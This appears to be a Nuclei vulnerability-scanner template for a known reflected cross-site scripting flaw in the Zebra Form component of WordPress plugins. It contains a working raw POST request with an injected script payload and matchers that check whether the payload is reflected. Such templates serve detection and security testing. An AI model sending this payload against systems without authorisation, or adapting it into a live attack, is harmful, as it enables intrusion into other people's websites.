id: wordpress-zebra-form-xss

info:
  name: Wordpress Zebra Form - Cross-Site Scripting
  author: madrobot
  severity: medium
  reference:
    - https://blog.wpscan.com/2021/02/15/zebra-form-xss-wordpress-vulnerability-affects-multiple-plugins.html
  tags: wordpress,xss

requests:
  - raw:
      - |
        POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(/XSS-form/)%3E&control=upload HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074
        Origin: null

        -----------------------------77916619616724262872902741074
        Content-Disposition: form-data; name="upload"; filename="{{randstr}}.txt"
        Content-Type: text/plain
        Test
        -----------------------------77916619616724262872902741074--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><img src onerror=alert(/XSS-form/)>"
        part: body

      - type: status
        status:
          - 200

      - type: word
        words:
          - "text/html"
        part: header